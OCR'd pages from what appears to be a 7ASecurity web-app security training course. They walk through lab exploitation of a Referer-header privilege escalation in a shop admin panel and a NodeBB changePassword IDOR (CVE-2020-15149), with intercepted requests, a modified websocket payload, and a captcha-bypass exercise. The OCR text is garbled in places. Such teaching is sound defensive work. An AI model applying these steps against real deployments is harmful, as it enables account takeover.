console.error(colors.red('Failed to insert user, possibly already exists:

"+ oerr));
req.session.message = 'A user with that email address already exists';
req.session.messageType = 'danger’;
res.redirect('/admin/user/new');
return;
}

7ASecurity © 2022
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db.users.insert(doc, (err, doc) => {

[...]

We can notice that the function essentially parses the “Referer” header and sees if it's
path points to “/admin/setup” and if so, “isAdmin” is set to true !

This seems to be a logic bug since the application uses this flow to create the first time
user. As we see during the installation phase, the first time we go to “/admin”, we are
being redirected to set up the default admin account whose logic is essentially flawed !

Code:

let doc = {

usersName: req.body.usersName,

userEmail: req.body.userEmail,

userPassword: bcrypt.hashSync(req.body.userPassword, 10),

isAdmin: isAdmin

s

Also the new user who is going to be added, the admin status of the request is taken
from variable “isAdmin” but then as we know already, if the referrer is set to
“ladmin/setup”, then isAdmin is true which means the user we are trying to add is by
default admin !

Let’s fire up the burpsuite® and capture the request so that we can play around with the
requests.

Go to http://localhost:1111/admin/user/new and type in details for a new user. Before
clicking on “Create”, ensure that burpsuite proxy is running and we can capture the
request.

5 https://portswigger.net/support/configuring-your-browser-to-work-with-burp
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Request

J Raw T Params T Headers T Hex ]

POST /admin/user/insert HTTP/1.1

Host: localhost:1111

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.15; rv:80.0) Gecko/2010010
irefox/80.0

Referer: http://localhost:llll/admin/setupl

Content-Type: applicatlion/x-www-rform-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Content-Length: 79

Origin: http://localhost:1111

Connection: close

Cookie: language=en; welcomebanner status=dismiss; cookieconsent_status=dismiss;

continueCode=176WmZaDgREz047eK21jboPnd9yTMin8iEzdgrwvYBIMIVBkXOpN513yLxK2;

connect.sid=s%3ANvMoXmwmQAMPCWXMaD3a4EM5gnPctBre. pJTkiTSCXmz3pjfpTkCtvBpPevSyrR]j
IdP3uSt4; csrf=S0iUlKittKjirtnW3TU9QfUX

Pragma: no-cache

Cache-Control: no-cache

usersName=user admin2&userEmail=user admin2%40gmail.com&userPassword=user admin

Fig:. Modifying the referrer header to include “/admin/setup” path

A successful request will give a 302 redirect to “/admin/login”. Logout and try to login to
the new account created with the correct credentials and you can see that you have
logged into an account which has admin privileges !

We can also verify this by logging in as the default administrator and look at the existing
users (http://localhost:1111/admin/users) in the platform along with their roles !

USEI’S ‘ New user ‘
User: admin - (admin@gmail.com) Role: Admin (Owner)
User: user - (user@gmail.com) Role: User
User: user_admin - (user_admin@gmail.com) |

Fig:. user added as an administrator

So essentially by modifying the “Referer” header, a normal user could create an admin
user account !
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Case Study: NodeBB Privilege Escalation via Account
takeover (IDOR in changepassword())

Introduction

NodeBB¢ is a next-generation discussion platform that utilizes web sockets for instant
interactions and real-time notifications. An IDOR vulnerability” was reported in the
changePassword() function within NodeBB using which an attacker can reset the
password of an admin user and take over his account.

Before proceeding with the lab, let’s install/run the vulnerable version of NodeBB which
is pre-installed in the lab VM: ~/1abs/partl/lab4/nodebb

Command:

cd ~/labs/partl/lab4/nodebb

# to start nodebb, ensure that node version is 12+
nvm use 12.16.0; ./nodebb slog

If you are not using the lab VM, you need to manually install/setup the nodebb:

Download URL.:
https://training.7asecurity.com/ma/mwebapps/part1/apps/nodebb.zip

Alternative URL:
https://github.com/NodeBB/NodeBB/archive/v1.13.x.zip

Installation:

mkdir -p ~/labs/partl/lab4

cd ~/labs/partl/lab4

# download the zip into the current directory and then extract
unzip nodebb.zip

cd nodebb

# run the installation wizard
./nodebb setup

6
7

https://qithub.com/NodeBB/NodeBB
https://cve.mitre.org/cgi-bin/cvename.cqi?name=CVE-2020-15149
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# keep everything default. Click on “enter” multiple times to complete
# the installation. (mongodb credentials also empty but ensure mongo
# is running) .

# Provide some credentials for admin account during the installation
# when prompted.

# to start nodebb, ensure that node version is 12+
nvm use 12.16.0; ./nodebb slog

Output:

[.]

2020-11-10T10:19:22.6742Z [4567/6979] - warn: You have no mongo
username/password setup!

2020-11-10T10:19:22.902Z [4567/6979] - warn: You have no mongo
username/password setup!

2020-11-10T10:19:22.907Z [4567/6979] - info: [socket.io] Restricting access to
origin: http://localhost:*

2020-11-10T10:19:23.116Z
2020-11-10T10:19:23.118%
2020-11-10T10:19:23.122%2
2020-11-10T10:19:23.124z%2
0.0.0.0:4567

4567/6979] - info: Routes added
4567/6979] - info: NodeBB Ready
4567/6979] - info: Enabling 'trust proxy'

[
[
[
[4567/6979] - info: NodeBB is now listening on:

Now that NodeBB is running, let’s take a new terminal session and quickly grep through
the source code to understand the changePassword() function.

Understanding changePassword()

Command:

# search only on source code and exclude others like modules/build

grep -inr "changePassword" . --exclude-dir={node modules,build, test,public}
Output:

./src/controllers/accounts/helpers.js:76: userData.canChangePassword =
isAdmin || (isSelf && !meta.config['password:disableEdit']):;

./src/user/profile.js:266: User.changePassword = async function (uid, data) {
./src/socket.io/user/profile.js:66: SocketUser.changePassword = async
function (socket, data) {

./src/socket.io/user/profile.js:74: await

user.changePassword (socket.uid, Object.assign(data, { ip: socket.ip })):;
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Seems like there is a SocketUser.changePassword defined in profile.js within
“.Isrc/socket.io/”. Let’s explore the code in more detail:

Filename:
/src/socket.io/user/profile.js

Code:

SocketUser.changePassword = async function (socket, data) {
if (!socket.uid) {
throw new Error('[[error:invalid-uid]]");

}
if (!data || !data.uid) {

throw new Error('[[error:invalid-datal]]"');
}

await user.changePassword(socket.uid, Object.assign(data, { ip: socket.ip }));
await events.log({
type: 'password-change',
uid: socket.uid,
targetUid: data.uid,
ip: socket.ip,
1
¥

So the application uses web sockets for communication and the function intakes
arguments received over the socket connection. The function checks if “uid” is available
and if so, user.changePassword() function is invoked which is defined in “./src/user”. One
thing to note here is that there is no validation if the UID belongs to the current logged in
user itself at least on “SocketUser.changePassword”.

Let’s verify the same on “user.changePassword” and if so, then this is a clear case of
IDOR and we can get the admin password reset.

NOTE: The data argument contains an “uid” element which is taken from socket.ip. This
is the UID param we control. If this is being used in the main changePassword(), its

IDOR ;)
Filename:
./src/user/profile.js
Code:
7ASecurity © 2022
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User.changePassword = async function (uid, data) {

if (uid <= @ || !data || !data.uid) {
throw new Error('[[error:invalid-uid]]");

¥

User.isPasswordValid(data.newPassword);

const [isAdmin, hasPassword] = await Promise.all([
User.isAdministrator(uid),
User.hasPassword(uid),

IDH

if (meta.config['password:disableEdit'] && !isAdmin) {
throw new Error('[[error:no-privileges]]');

}
let isAdminOrPasswordMatch = false;
const isSelf = parselInt(uid, 10) === parselnt(data.uid, 10);
if (
(isAdmin && !isSelf) ||
('hasPassword && isSelf)
) 1
isAdminOrPasswordMatch = true;
} else {

isAdminOrPasswordMatch = await User.isPasswordCorrect(uid,

data.currentPassword, data.ip);

}s
1

}

if (!isAdminOrPasswordMatch) {
throw new Error('[[user:change_password_error_wrong_current]]');

const hashedPassword = await User.hashPassword(data.newPassword);
await Promise.all([
User.setUserFields(data.uid, {
password: hashedPassword,
rss_token: utils.generateUUID(),
3
User.reset.updateExpiry(data.uid),
User.auth.revokeAllSessions(data.uid),

IDE

plugins.fireHook('action:password.change', { uid: uid, targetUid: data.uid });

The function flows as follows:
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1. It checks if the UID is less than 0 or if data is empty. If so, it throws an error.

2. isPasswordValid() is a function defined in “./src/user/create.js” which simply
checks the strength of the new password based on a config file.

3. const [isAdmin, hasPassword] < This array is filled based on calling the function
User.isAdministrator(uid) where socket.uid rather than data.uid (this is what we
control).

4. The function then checks if the config file has password edit option enabled or
not (enabled by default).

5. It then checks if (isAdmin) which is taken from step 3 where the function
isAdministrator(UID) is called which will return False.

6. The function then moves on to await User.isPasswordCorrect() to check if the
user has entered his current password correctly. If not, this will throw an error.

7. Finally the hash of the new password is taken from
User.hashPassword(data.newPassword) and is used inside the function
User.setUserFields().

One interesting thing to note in point 7 is that, the argument to User.setUserFields() is
data.uid which is directly taken from the websocket request without any validation (this is
passed onto user.changePassword() from SocketUser.changePassword()) !

Hence if we simply modify the uid passing through the websocket request, we will be
able to reset the password of admin and take over the account !

Resetting Admin password

Let’s verify our hypothesis by firing up the burpsuite and capture the request so that we
can play around with the requests. Configure burpsuite® to work with your browser and
ensure that “intercept request” is OFF.

If the NodeBB is not running, you can start the server:

8 https://portswigger.net/support/configuring-your-browser-to-work-with-burp
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Command:
./nodebb start

# in order to stop the server
./nodebb stop

Once the server is running, use a browser to visit the page: http://localhost:4567/reqister
and register for a new account. Once registered, visit the change password section in

“edit profile”: http://localhost:4567/user/<username>/edit/password

Ensure that “intercept request” is turned “ON” in burpsuite and enter the old/new
password and click on “change password”.

WebSockets message to http://localhost:4567 /socket.io/?EIQO=3&transport=websocket&sid=NzB-s4z_bguCHb18AABh

( Intercept is on ) Action

[ Forward J l Drop J

Raw | Hex

127[ "user.changePassword", {"currentPassword": "aaaaaaaa", "newPassword": "adminl123456" ,[‘uid" B l}I]

Fig:. Intercept and modify the UID value to 1
Notice that if you have registered only one new user account, then your uid will be 2.
This means UID is increasing sequentially so the admin uid is 1.

Modify the above uid to 1 and forward the request. Now logout and try to login as admin
with the password you just modified
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http://localhost:4567/register
http://localhost:4567/user/
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Extra mile #1: Automated script for form submission

Write an automated script (Python/ruby/..) which
1. Reads a valid “Captchald” by hitting the end point (“/rest/captcha”)

2. Calculate the captcha value without using the “answer” parameter in the
response.

3. Initiate a form submission and submit the same form 10 times using the captcha
calculated in step 2.
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